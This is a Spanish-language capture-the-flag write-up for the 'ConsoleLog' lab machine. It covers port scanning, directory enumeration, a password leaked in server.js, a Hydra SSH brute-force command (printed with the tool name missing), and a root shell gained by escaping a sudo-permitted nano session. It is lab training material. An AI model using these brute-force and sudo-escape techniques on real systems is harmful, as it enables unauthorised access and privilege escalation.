> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-faciles/consolelog-write-up.md).

# ConsoleLog write-up

## **Verificamos si tenemos conexión con la máquina víctima**

<figure><img src="/files/ybmgCArde6jMZzuNdmMU" alt=""><figcaption></figcaption></figure>

## **Realizamos un escaneo de puertos abiertos de la máquina víctima**

Usamos la herramienta **Nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -O -Pn -n 172.17.0.2
```

<figure><img src="/files/hpZkmTsjktHl6cpz6nXq" alt=""><figcaption></figcaption></figure>

El escaneo indica que los puertos 80 (HTTP), 3000 (Node.js) y 5000 (SSH) están abiertos. Ingresamos la IP de la máquina víctima en el navegador, pero no encontramos nada interesante.

<figure><img src="/files/X0x02YDb6L4hMBnSZBQ9" alt=""><figcaption></figcaption></figure>

Así que usamos la herramienta **Dirb** para buscar rutas ocultas con el siguiente comando:

```bash
dirb http://172.17.0.2
```

<figure><img src="/files/goCMeapvgBX1PUcWxR7n" alt=""><figcaption></figcaption></figure>

Y encontramos la ruta `/backend` la cual es un directory listing.

<figure><img src="/files/3PzXzViGJpO9TgOd1m6o" alt=""><figcaption></figcaption></figure>

El archivo más relevante es `server.js`, el cual configura el servidor y revela una posible contraseña del servicio SSH `lapassworddebackupmaschingonadetodas`.

<figure><img src="/files/9YW06I5ZakUY1FN8ahoZ" alt=""><figcaption></figcaption></figure>

Esta contraseña se podría haber obtenido también a través de la herramienta **Curl** de la siguiente manera:

```bash
curl -X POST http://172.17.0.2:3000/recurso/ -H "Content-Type: application/json" -d '{"token": "tokentraviesito"}'
```

<figure><img src="/files/qOaESkHOximO1UNqKvEn" alt=""><figcaption></figcaption></figure>

El siguiente paso consiste en hacer un ataque de fuerza bruta con **Hydra** para intentar averiguar el usuario que use la contraseña `lapassworddebackupmaschingonadetodas`, lo haremos con el siguiente comando:

```bash
-L /home/shinki/Escritorio/rockyou.txt -p lapassworddebackupmaschingonadetodas -I -s 5000 172.17.0.2 ssh
```

<figure><img src="/files/DOwSb8c7um67fNCwx5Ym" alt=""><figcaption></figcaption></figure>

Así que solo nos queda iniciar sesión por el servicio SSH con el usuario `lovely` y la contraseña `lapassworddebackupmaschingonadetodas` de la siguiente manera:

```bash
ssh lovely@172.17.0.2 -p 5000
```

<figure><img src="/files/0R0mZS4FaEF7HC5JMI1A" alt=""><figcaption></figcaption></figure>

## **Escalada de privilegios**

Ahora, ejecutamos el comando `sudo -l` el cual nos indica que podemos ejecutar el binario nano como cualquier usuario sin necesidad de contraseña.

<figure><img src="/files/NPMZa02QKjaonOZsuCoX" alt=""><figcaption></figcaption></figure>

Así que ejecutamos nano como root de la siguiente manera:

```bash
sudo nano archivo.txt
```

Y ahora presionamos la teclas `Ctrl + R` y luego `Ctrl + X` y finalizamos escribiendo el siguiente comando:

```bash
reset; bash 1>&0 2>&0
```

Y ya tendríamos permisos root.

<figure><img src="/files/AcOboQzvxX7SrMU5O0Uy" alt=""><figcaption></figcaption></figure>
